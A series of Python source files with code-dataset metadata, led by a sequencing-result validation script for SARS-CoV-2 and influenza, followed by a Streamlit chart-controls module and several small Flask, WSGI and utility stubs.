df_validation_nt[df_validation_nt['summary_percCOV'].apply(pd.to_numeric, errors='coerce') >= args.cov_maxneg]['val_plate'].value_counts(), df_validation_20a.loc[(df_validation_20a['nextclade_clade'].isin(['20A'])) & (df_validation_20a['nextclade_totalAminoacidSubstitutions'].apply(pd.to_numeric, errors='coerce') <= 6.0)]['val_plate'].value_counts().add(df_validation_20j[df_validation_20j['nextclade_clade'].isin(['20J (Gamma, V3)'])]['val_plate'].value_counts(), fill_value=0).add(df_validation_19b[df_validation_19b['nextclade_clade'].isin(['19B'])]['val_plate'].value_counts(), fill_value=0)],axis=1).fillna(0).astype(int) df_metrics.columns = ['sample_cov<=' + str(args.cov_minok), 'sample_dp>=' + str(args.dp_threshold), 'sample_varcount>=' + str(args.varcount_threshold), 'sample_ci_failed', 'tneg_cov>=' + str(args.cov_maxneg), 'tpos_ok'] df_metrics.sort_index(axis = 0).to_csv(args.outdir + run_date + '_' + datatype + '_metric.tsv', sep='\t', index_label='plate') pd.concat([df_validation[df_validation.filter(regex='summary_').columns], df_validation[df_validation.filter(regex='val_').columns], df_validation[df_validation.filter(regex='nextclade_').columns], df_validation[df_validation.filter(regex='pangolin_').columns]], axis=1).to_csv(args.outdir + run_date + '_' + datatype + '_validation.tsv', sep='\t', index_label='SampleID') df_export = pd.DataFrame(df_validation, columns = ['val_sampleid']) df_export['Instrument ID(s)'] = "NB552333" df_export['Analysis authorized by'] = "laurence.josset@chu-lyon.fr" df_export['AssayResultTargetCode'] = "SeqArt" df_export['Target_1_cq'] = df_validation.apply(lambda x : x.val_result.replace(',',';') if x.val_error != 'ERROR' else 'ERREUR-' + x.val_result.replace(',',';'), axis=1) df_export['Target_2_cq'] = df_validation.apply(lambda x : x.val_pangolin.replace(',',';') if x.val_error != 'ERROR' else 'ERREUR-' + x.val_pangolin.replace(',',';'), axis=1) df_export['Target_3_cq'] = df_validation.apply(lambda x : x.val_commentary.replace(',',';') if x.val_error != 'ERROR' else 'ERREUR-' + x.val_commentary.replace(',',';'), axis=1) df_export.rename(columns={df_export.columns[0]: 'Sample ID'}).to_csv(args.outdir + run_date + '_' + datatype + '_fastfinder.csv', sep=',', index = False) if args.mode == 'fluabv': run_date = args.rundate datatype = args.submatrix.split('_')[1] submatrix_version = args.submatrix.split('-')[-1].split('.')[0] df_var = table_asdf(args.vartable, '\t') df_var = df_var.apply(pd.to_numeric, errors='coerce').fillna(df_var) df_summary = table_asdf(args.summary, '\t') df_nextclade = table_asdf(args.nextclade, '\t') df_submatrix = table_asdf(args.submatrix, '\t') list_submatrix = table_aslist(args.submatrix, '\t') list_submatrix_header = [ x[0] for x in table_aslist(args.submatrix, '\t') ] list_submatrix_header_clade = [ x[0].split('_')[0] for x in table_aslist(args.submatrix, '\t') ] list_submatrix_header_lineage = [ x[0].split('_')[-1] for x in table_aslist(args.submatrix, '\t') ] list_profile_base = table_aslist(args.submatrix, '\t')[0][1:] df_validation = pd.concat([df_summary.add_prefix('summary_'), df_nextclade.add_prefix('nextclade_')], axis=1) df_validation['val_dp'] = df_validation.apply(lambda x : seek_dp(x.summary_hasdp, '//', args.dp_threshold) , axis=1) df_validation['val_varcount'] = df_validation[['summary_10-20%', 'summary_20-50%']].apply(lambda x: pd.to_numeric(x, errors='coerce')).sum(axis = 1, skipna = False, min_count=2).apply(lambda x : seek_varcount(x, '//', args.varcount_threshold)) df_validation['val_plate'] = df_validation.apply(lambda x : x.name.split('-')[0] , axis=1) df_validation['val_sampleid'] = df_validation.apply(lambda x : x.name.split('-')[1].split('_')[0] , axis=1) df_validation['val_platewell'] = df_validation.apply(lambda x : x.name.split('_')[-1] , axis=1) df_validation['val_nextclade'] = df_validation.apply(lambda x : validate_column_fluabv(x.nextclade_clade, x.summary_PercCOV_S4, x.summary_PercCOV_S6, ';', args.cov_minok, x['nextclade_qc.overallStatus']) , axis=1) df_validation['stat_missingpos'] = df_validation.apply(lambda x : list_position(str(x.nextclade_missing), '-', ',') , axis=1) df_validation['val_classmatch'] = df_validation.apply(lambda x : match_submatrix_fluabv('', x.val_nextclade, list_submatrix_header, "match") , axis=1) df_validation['val_classindex'] = df_validation.apply(lambda x : match_submatrix_fluabv('', x.val_nextclade, list_submatrix_header, "index") , axis=1) df_validation['val_classcomment'] = df_validation.apply(lambda x : match_submatrix_fluabv('', x.val_nextclade, list_submatrix_header, "comment") , axis=1) df_validation['val_insertions'] = df_validation.apply(lambda x : seek_insertion_fluabv(str(x.nextclade_insertions)) , axis=1) df_validation['val_expectedprofile'] = df_validation.apply(lambda x : seek_expectedprofile_fluabv(list_submatrix[0], list_submatrix[int(x.val_classindex)]) , axis=1) df_validation['val_nocovsub'] = df_validation.apply(lambda x : seek_nocovsub_fluabv(list_submatrix[0], x.stat_missingpos) , axis=1) df_validation['val_missingsub'] = df_validation.apply(lambda x : list_intersect(x.val_expectedprofile, [y for y in (str(x.nextclade_aaSubstitutions) + "," + str(x.nextclade_aaDeletions) + "," + str(x.val_insertions)).split(',') if y not in ['', 'nan']], 'missing', 100) , axis=1) df_validation['val_atypicsub'] = df_validation.apply(lambda x : list_intersect([y for y in (str(x.nextclade_aaSubstitutions)).split(',') if y not in ['', 'nan']], x.val_expectedprofile, 'missing', 100) , axis=1) df_validation['val_atypicindel'] = df_validation.apply(lambda x : list_intersect([y for y in (str(x.nextclade_aaDeletions) + "," + str(x.val_insertions)).split(',') if y not in ['', 'nan']], x.val_expectedprofile, 'missing', 100) , axis=1) df_validation['val_result'] = df_validation.apply(lambda x : validate_result_fluabv(x.val_nextclade, x.val_dp, x.val_varcount, x.summary_hasposc, x.val_nocovsub, x.val_missingsub) , axis=1) df_validation['val_commentary'] = df_validation.apply(lambda x : gen_commentary_fluabv(x.val_classmatch, [y for y in str(x.nextclade_aaSubstitutions).split(',') if y not in ['', 'nan'] and y[:-1] in list_profile_base], [y for y in str(x.nextclade_aaDeletions).split(',') if y not in ['', 'nan'] and y[:-1] in list_profile_base], [y for y in str(x.val_insertions).split(',') if y not in ['', 'nan'] and (y.split(':')[0] + ':') in list_profile_base], x.val_nocovsub, x.val_classcomment, x.val_atypicsub.split(';'), x.val_atypicindel.split(';')), axis=1) df_validation['stat_simpleprofile'] = df_validation.apply(lambda x : x.val_nextclade + ' - ' + x.val_atypicsub , axis=1) df_var_major = filter_dfrownames(df_var, ['|MAJOR'], 'keep') df_var_major_indel = filter_dfrownames(df_var_major, ['|DEL|', '|INS|', '|COMPLEX|'], 'keep') df_validation_sample = filter_dfrownames(df_validation, ['Tpos', 'PCR', 'NT', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'drop') df_validation_control = filter_dfrownames(df_validation, ['Tpos', 'PCR', 'NT', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'keep') df_validation_nt = filter_dfrownames(df_validation, ['NT', 'PCR', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'keep') df_var_major_indel[df_var_major_indel > 0].count(axis=1).to_csv(args.outdir + run_date + '_' + datatype + '_indel.tsv', sep='\t', index_label='variant', header=["count"]) df_validation_control[['summary_PercCOV_S4', 'summary_PercCOV_S6', 'nextclade_clade', 'nextclade_totalAminoacidSubstitutions']].replace(r'^\s*$', np.nan, regex=True).fillna('ININT').to_csv(args.outdir + run_date + '_' + datatype + '_control.tsv', sep='\t', index_label='control') df_validation_sample['stat_simpleprofile'].value_counts().sort_index(axis = 0).to_csv(args.outdir + run_date + '_' + datatype + '_runsummary.tsv', sep='\t', index_label='Clade') df_metrics = pd.concat([ df_validation_sample.loc[(df_validation_sample['summary_PercCOV_S4'].apply(pd.to_numeric, errors='coerce') < args.cov_minok) & (df_validation_sample['summary_PercCOV_S6'].apply(pd.to_numeric, errors='coerce') < args.cov_minok)]['val_plate'].value_counts(), df_validation_sample.loc[(~df_validation_sample['val_dp'].isin(['NO','NA'])) & (~df_validation_sample['val_commentary'].isin(['DSC','NA']))]['val_plate'].value_counts(), df_validation_sample.loc[(~df_validation_sample['val_varcount'].isin(['NO','NA'])) & (~df_validation_sample['val_commentary'].isin(['DSC','NA']))]['val_plate'].value_counts(), df_validation_sample[df_validation_sample['summary_hasposc'].isin(['FAILED'])]['val_plate'].value_counts(), df_validation_nt.loc[(df_validation_nt['summary_PercCOV_S4'].apply(pd.to_numeric, errors='coerce') >= args.cov_maxneg) & (df_validation_nt['summary_PercCOV_S6'].apply(pd.to_numeric, errors='coerce') >= args.cov_maxneg)]['val_plate'].value_counts()],axis=1).fillna(0).astype(int) df_metrics.columns = ['sample_cov<=' + str(args.cov_minok), 'sample_dp>=' + str(args.dp_threshold), 'sample_varcount>=' + str(args.varcount_threshold), 'sample_ci_failed', 'tneg_cov>=' + str(args.cov_maxneg)] df_metrics.sort_index(axis = 0).to_csv(args.outdir + run_date + '_' + datatype + '_metric.tsv', sep='\t', index_label='plate') pd.concat([df_validation[df_validation.filter(regex='summary_').columns], df_validation[df_validation.filter(regex='val_').columns], df_validation[df_validation.filter(regex='nextclade_').columns]], axis=1).to_csv(args.outdir + run_date + '_' + datatype + '_validation.tsv', sep='\t', index_label='SampleID') df_validation_sample_notna = df_validation_sample[~df_validation_sample['summary_PercCOV_S4'].isin(['NA'])] df_export = pd.DataFrame(df_validation_sample_notna, columns = ['val_sampleid']) df_export['Instrument ID(s)'] = "NB552333" df_export['Analysis authorized by'] = "laurence.josset@chu-lyon.fr" df_export['AssayResultTargetCode'] = "GABILL" df_export['AssayResult'] = df_validation_sample_notna.apply(lambda x : x.val_result.replace(',',';') , axis=1) df_export.rename(columns={df_export.columns[0]: 'Sample ID'}).to_csv(args.outdir + run_date + '_' + datatype + '_fastfinder.csv', sep=',', index = False) df_export = pd.DataFrame(df_validation_sample_notna, columns = ['val_sampleid']) df_export['Instrument ID(s)'] = "NB552333" df_export['Analysis authorized by'] = "laurence.josset@chu-lyon.fr" df_export['AssayResultTargetCode'] = "COMGRAB" df_export['AssayResult'] = df_validation_sample_notna.apply(lambda x : x.val_commentary.replace(',',';') , axis=1) df_export.rename(columns={df_export.columns[0]: 'Sample ID'}).to_csv(args.outdir + run_date + '_' + datatype + '_fastfinder.csv', sep=',', index = False, mode='a', header=False)

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null

0

6

f49b1ded7d4e5f4d03753ccb1cd90eb2f7ef5a2c

43

py

Python

auth_code.py

nivw/onna_test

518c726a656493a5efd7ed6f548f68b2f5350260

[ "BSD-2-Clause" ]

null

auth_code.py

nivw/onna_test

518c726a656493a5efd7ed6f548f68b2f5350260

[ "BSD-2-Clause" ]

null

auth_code.py

nivw/onna_test

518c726a656493a5efd7ed6f548f68b2f5350260

[ "BSD-2-Clause" ]

1

2020-06-24T16:52:59.000Z

import requests from config import config

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1

0

1

0

6

761e2504d6c27c36118ff42cb890b2d3a7ef8bde

18,135

py

Python

src/graph_controls.py

bodealamu/opencharts

6ce5be07d998cc5affef0080b0e73f4b1be1ab42

[ "MIT" ]

4

2021-07-18T13:33:11.000Z

2021-09-15T07:25:12.000Z

src/graph_controls.py

bodealamu/opencharts

6ce5be07d998cc5affef0080b0e73f4b1be1ab42

[ "MIT" ]

null

src/graph_controls.py

bodealamu/opencharts

6ce5be07d998cc5affef0080b0e73f4b1be1ab42

[ "MIT" ]

1

2021-07-26T12:40:07.000Z

import streamlit as st import plotly.express as px from src.image_export import show_export_format def graph_controls(chart_type, df, dropdown_options, template): """ Function which determines the widgets that would be shown for the different chart types :param chart_type: str, name of chart :param df: uploaded dataframe :param dropdown_options: list of column names :param template: str, representation of the selected theme :return: """ length_of_options = len(dropdown_options) length_of_options -= 1 plot = px.scatter() if chart_type == 'Scatter plots': st.sidebar.subheader("Scatterplot Settings") try: x_values = st.sidebar.selectbox('X axis', index=length_of_options,options=dropdown_options) y_values = st.sidebar.selectbox('Y axis',index=length_of_options, options=dropdown_options) color_value = st.sidebar.selectbox("Color", index=length_of_options,options=dropdown_options) symbol_value = st.sidebar.selectbox("Symbol",index=length_of_options, options=dropdown_options) size_value = st.sidebar.selectbox("Size", index=length_of_options,options=dropdown_options) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options,options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row",index=length_of_options, options=dropdown_options,) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) marginalx = st.sidebar.selectbox("Marginal X", index=2,options=['rug', 'box', None, 'violin', 'histogram']) marginaly = st.sidebar.selectbox("Marginal Y", index=2,options=['rug', 'box', None, 'violin', 'histogram']) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False]) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False]) title = st.sidebar.text_input(label='Title of chart') plot = px.scatter(data_frame=df, x=x_values, y=y_values, color=color_value, symbol=symbol_value, size=size_value, hover_name=hover_name_value, facet_row=facet_row_value, facet_col=facet_column_value, log_x=log_x, log_y=log_y,marginal_y=marginaly, marginal_x=marginalx, template=template, title=title) except Exception as e: print(e) if chart_type == 'Histogram': st.sidebar.subheader("Histogram Settings") try: x_values = st.sidebar.selectbox('X axis', index=length_of_options,options=dropdown_options) y_values = st.sidebar.selectbox('Y axis',index=length_of_options, options=dropdown_options) nbins = st.sidebar.number_input(label='Number of bins', min_value=2, value=5) color_value = st.sidebar.selectbox("Color", index=length_of_options,options=dropdown_options) barmode = st.sidebar.selectbox('bar mode', options=['group', 'overlay','relative'], index=2) marginal = st.sidebar.selectbox("Marginal", index=2,options=['rug', 'box', None, 'violin', 'histogram']) barnorm = st.sidebar.selectbox('Bar norm', options=[None, 'fraction', 'percent'], index=0) hist_func = st.sidebar.selectbox('Histogram aggregation function', index=0, options=['count','sum', 'avg', 'min', 'max']) histnorm = st.sidebar.selectbox('Hist norm', options=[None, 'percent', 'probability', 'density', 'probability density'], index=0) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options,options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row",index=length_of_options, options=dropdown_options,) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) cummulative = st.sidebar.selectbox('Cummulative', options=[False, True]) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False]) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False]) title = st.sidebar.text_input(label='Title of chart') plot = px.histogram(data_frame=df,barmode=barmode,histnorm=histnorm, marginal=marginal,barnorm=barnorm,histfunc=hist_func, x=x_values,y=y_values,cumulative=cummulative, color=color_value,hover_name=hover_name_value, facet_row=facet_row_value,nbins=nbins, facet_col=facet_column_value,log_x=log_x, log_y=log_y,template=template, title=title) except Exception as e: print(e) # if chart_type == 'Line plots': # st.sidebar.subheader("Line plots Settings") # # try: # x_values = st.sidebar.selectbox('X axis', index=length_of_options, options=dropdown_options) # y_values = st.sidebar.selectbox('Y axis', options=dropdown_options) # color_value = st.sidebar.selectbox("Color", index=length_of_options, options=dropdown_options) # line_group = st.sidebar.selectbox("Line group", options=dropdown_options) # line_dash = st.sidebar.selectbox("Line dash", index=length_of_options,options=dropdown_options) # hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options, options=dropdown_options) # facet_row_value = st.sidebar.selectbox("Facet row", index=length_of_options, options=dropdown_options, ) # facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, # options=dropdown_options) # log_x = st.sidebar.selectbox('Log axis on x', options=[True, False]) # log_y = st.sidebar.selectbox('Log axis on y', options=[True, False]) # title = st.sidebar.text_input(label='Title of chart') # plot = px.line(data_frame=df, # line_group=line_group, # line_dash=line_dash, # x=x_values,y=y_values, # color=color_value, # hover_name=hover_name_value, # facet_row=facet_row_value, # facet_col=facet_column_value, # log_x=log_x, # log_y=log_y, # template=template, # title=title) # except Exception as e: # print(e) if chart_type == 'Violin plots': st.sidebar.subheader('Violin plot Settings') try: x_values = st.sidebar.selectbox('X axis', index=length_of_options,options=dropdown_options) y_values = st.sidebar.selectbox('Y axis',index=length_of_options, options=dropdown_options) color_value = st.sidebar.selectbox("Color", index=length_of_options,options=dropdown_options) violinmode = st.sidebar.selectbox('Violin mode', options=['group', 'overlay']) box = st.sidebar.selectbox("Show box", options=[False, True]) outliers = st.sidebar.selectbox('Show points', options=[False, 'all', 'outliers', 'suspectedoutliers']) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options,options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row",index=length_of_options, options=dropdown_options,) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False]) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False]) title = st.sidebar.text_input(label='Title of chart') plot = px.violin(data_frame=df,x=x_values, y=y_values,color=color_value, hover_name=hover_name_value, facet_row=facet_row_value, facet_col=facet_column_value,box=box, log_x=log_x, log_y=log_y,violinmode=violinmode,points=outliers, template=template, title=title) except Exception as e: print(e) if chart_type == 'Box plots': st.sidebar.subheader('Box plot Settings') try: x_values = st.sidebar.selectbox('X axis', index=length_of_options, options=dropdown_options) y_values = st.sidebar.selectbox('Y axis', index=length_of_options, options=dropdown_options) color_value = st.sidebar.selectbox("Color", index=length_of_options, options=dropdown_options) boxmode = st.sidebar.selectbox('Violin mode', options=['group', 'overlay']) outliers = st.sidebar.selectbox('Show outliers', options=[False, 'all', 'outliers', 'suspectedoutliers']) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options, options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row", index=length_of_options, options=dropdown_options, ) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False]) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False]) notched = st.sidebar.selectbox('Notched', options=[True, False]) title = st.sidebar.text_input(label='Title of chart') plot = px.box(data_frame=df, x=x_values, y=y_values, color=color_value, hover_name=hover_name_value,facet_row=facet_row_value, facet_col=facet_column_value, notched=notched, log_x=log_x, log_y=log_y, boxmode=boxmode, points=outliers, template=template, title=title) except Exception as e: print(e) if chart_type == 'Sunburst': st.sidebar.subheader('Sunburst Settings') try: path_value = st.sidebar.multiselect(label='Path', options=dropdown_options) color_value = st.sidebar.selectbox(label='Color', options=dropdown_options) value = st.sidebar.selectbox("Value", index=length_of_options, options=dropdown_options) title = st.sidebar.text_input(label='Title of chart') plot = px.sunburst(data_frame=df,path=path_value,values=value, color=color_value, title=title ) except Exception as e: print(e) if chart_type == 'Tree maps': st.sidebar.subheader('Tree maps Settings') try: path_value = st.sidebar.multiselect(label='Path', options=dropdown_options) color_value = st.sidebar.selectbox(label='Color', options=dropdown_options) value = st.sidebar.selectbox("Value", index=length_of_options, options=dropdown_options) title = st.sidebar.text_input(label='Title of chart') plot = px.treemap(data_frame=df,path=path_value,values=value, color=color_value, title=title ) except Exception as e: print(e) if chart_type == 'Pie Charts': st.sidebar.subheader('Pie Chart Settings') try: name_value = st.sidebar.selectbox(label='Name (Selected Column should be categorical)', options=dropdown_options) color_value = st.sidebar.selectbox(label='Color(Selected Column should be categorical)', options=dropdown_options) value = st.sidebar.selectbox("Value", index=length_of_options, options=dropdown_options) hole = st.sidebar.selectbox('Log axis on y', options=[True, False]) title = st.sidebar.text_input(label='Title of chart') plot = px.pie(data_frame=df,names=name_value,hole=hole, values=value,color=color_value, title=title) except Exception as e: print(e) if chart_type == 'Density contour': st.sidebar.subheader("Density contour Settings") try: x_values = st.sidebar.selectbox('X axis', index=length_of_options,options=dropdown_options) y_values = st.sidebar.selectbox('Y axis',index=length_of_options, options=dropdown_options) z_value = st.sidebar.selectbox("Z axis", index=length_of_options, options=dropdown_options) color_value = st.sidebar.selectbox("Color", index=length_of_options,options=dropdown_options) hist_func = st.sidebar.selectbox('Histogram aggregation function', index=0, options=['count', 'sum', 'avg', 'min', 'max']) histnorm = st.sidebar.selectbox('Hist norm', options=[None, 'percent', 'probability', 'density', 'probability density'], index=0) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options,options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row",index=length_of_options, options=dropdown_options,) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) marginalx = st.sidebar.selectbox("Marginal X", index=2,options=['rug', 'box', None, 'violin', 'histogram']) marginaly = st.sidebar.selectbox("Marginal Y", index=2,options=['rug', 'box', None, 'violin', 'histogram']) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False],index=1) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False], index=1) title = st.sidebar.text_input(label='Title of chart') plot = px.density_contour(data_frame=df,x=x_values,y=y_values, color=color_value, z=z_value, histfunc=hist_func,histnorm=histnorm, hover_name=hover_name_value,facet_row=facet_row_value, facet_col=facet_column_value,log_x=log_x, log_y=log_y,marginal_y=marginaly, marginal_x=marginalx, template=template, title=title) except Exception as e: print(e) if chart_type == 'Density heatmaps': st.sidebar.subheader("Density heatmap Settings") try: x_values = st.sidebar.selectbox('X axis', index=length_of_options, options=dropdown_options) y_values = st.sidebar.selectbox('Y axis', index=length_of_options, options=dropdown_options) z_value = st.sidebar.selectbox("Z axis", index=length_of_options, options=dropdown_options) hist_func = st.sidebar.selectbox('Histogram aggregation function', index=0, options=['count', 'sum', 'avg', 'min', 'max']) histnorm = st.sidebar.selectbox('Hist norm', options=[None, 'percent', 'probability', 'density', 'probability density'], index=0) hover_name_value = st.sidebar.selectbox("Hover name", index=length_of_options, options=dropdown_options) facet_row_value = st.sidebar.selectbox("Facet row", index=length_of_options, options=dropdown_options, ) facet_column_value = st.sidebar.selectbox("Facet column", index=length_of_options, options=dropdown_options) marginalx = st.sidebar.selectbox("Marginal X", index=2, options=['rug', 'box', None, 'violin', 'histogram']) marginaly = st.sidebar.selectbox("Marginal Y", index=2, options=['rug', 'box', None, 'violin', 'histogram']) log_x = st.sidebar.selectbox('Log axis on x', options=[True, False], index=1) log_y = st.sidebar.selectbox('Log axis on y', options=[True, False], index=1) title = st.sidebar.text_input(label='Title of chart') plot = px.density_heatmap(data_frame=df, x=x_values, y=y_values, z=z_value, histfunc=hist_func, histnorm=histnorm, hover_name=hover_name_value, facet_row=facet_row_value, facet_col=facet_column_value, log_x=log_x, log_y=log_y, marginal_y=marginaly, marginal_x=marginalx, template=template, title=title) except Exception as e: print(e) st.subheader("Chart") st.plotly_chart(plot) show_export_format(plot)

62.106164

126

0.584064

2,023

18,135

5.024716

0.073653

0.100935

0.161141

0.094442

0.829808

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0.312655

18,135

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0.813718

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0

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false

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0.041667

0

null

0

1

0

null

0

6

52262f866b60d480e5f9f7028ca59ba83273c0c8

98

py

Python

background/Estore/User/__init__.py

skypeee/Flask-Estore

5f9f4a4508680cec44dc4beee308859ee274e23e

[ "MIT" ]

null

background/Estore/User/__init__.py

skypeee/Flask-Estore

5f9f4a4508680cec44dc4beee308859ee274e23e

[ "MIT" ]

null

background/Estore/User/__init__.py

skypeee/Flask-Estore

5f9f4a4508680cec44dc4beee308859ee274e23e

[ "MIT" ]

null

from flask.blueprints import Blueprint user = Blueprint('User', __name__) from User import views

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0.615385

0.351351

0

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98

5

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19.6

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false

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null

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1

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6

5239f1e42289a7b45427f7febbcde08de4725ea6

109

py

Python

main.py

Adi-K-Coding/Tri3-Adi

62a8b207fa9dbcdf7e2782de03681f87a90ad7f6

[ "MIT" ]

null

main.py

Adi-K-Coding/Tri3-Adi

62a8b207fa9dbcdf7e2782de03681f87a90ad7f6

[ "MIT" ]

4

2022-03-14T19:38:35.000Z

2022-03-28T19:40:27.000Z

main.py

Adi-K-Coding/Tri3-Adi

62a8b207fa9dbcdf7e2782de03681f87a90ad7f6

[ "MIT" ]

null

def my_info(): print("My name is Adi, and I'm a tenth grader at Del Norte High school. ") print(" ")

27.25

78

0.623853

20

109

3.35

0.9

0

0.247706

109

3

79

36.333333

0.817073

0

0.605505

0

1

0.333333

true

0

0.333333

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1

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1

0

null

0

1

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1

0

6

5258db459149450d7766f5ab39dcd24846ee4c18

33

py

Python

monoweb/wsgi.py

ragnraok/MonoReader

4672f5f0ca48f69e9180b33b62e773ab323c2cbc

[ "MIT" ]

1

2019-06-12T01:46:22.000Z

monoweb/wsgi.py

ragnraok/MonoReader

4672f5f0ca48f69e9180b33b62e773ab323c2cbc

[ "MIT" ]

null

monoweb/wsgi.py

ragnraok/MonoReader

4672f5f0ca48f69e9180b33b62e773ab323c2cbc

[ "MIT" ]

null

from mono import mono_app as app

16.5

32

0.818182

7

33

3.714286

0.714286

0

0.181818

33

1

33

0.962963

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

52723b66d10a621c38550992a15ade5aba60b121

32

py

Python

rls/nn/modules/__init__.py

StepNeverStop/RLs

25cc97c96cbb19fe859c9387b7547cbada2c89f2

[ "Apache-2.0" ]

371

2019-04-26T00:37:33.000Z

2022-03-31T07:33:12.000Z

rls/nn/modules/__init__.py

BlueFisher/RLs

25cc97c96cbb19fe859c9387b7547cbada2c89f2

[ "Apache-2.0" ]

47

2019-07-21T11:51:57.000Z

2021-08-31T08:45:22.000Z

rls/nn/modules/__init__.py

BlueFisher/RLs

25cc97c96cbb19fe859c9387b7547cbada2c89f2

[ "Apache-2.0" ]

102

2019-06-29T13:11:15.000Z

2022-03-28T13:51:04.000Z

from .icm import CuriosityModel

16

31

0.84375

4

32

6.75

1

0

0.125

32

1

32

0.964286

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

bfeb208f8644390bc0ef38b6f6057a55d1e11fe4

150

py

Python

pages/index.py

gabssanto/pizzaPy

e1fb6a1b7f4c25208a9500907913484746c22c38

[ "MIT" ]

null

pages/index.py

gabssanto/pizzaPy

e1fb6a1b7f4c25208a9500907913484746c22c38

[ "MIT" ]

null

pages/index.py

gabssanto/pizzaPy

e1fb6a1b7f4c25208a9500907913484746c22c38

[ "MIT" ]

null

from core.components.div import Div def indexPage(): return Div(className="container", children=[ 'hello', Div(children=['world'])])

25

48

0.653333

17

150

5.764706

0.764706

0

0.186667

150

6

49

25

0.803279

0

0.126667

0

1

0.25

true

0

0.25

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0

1

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null

0

1

0

null

0

1

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1

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6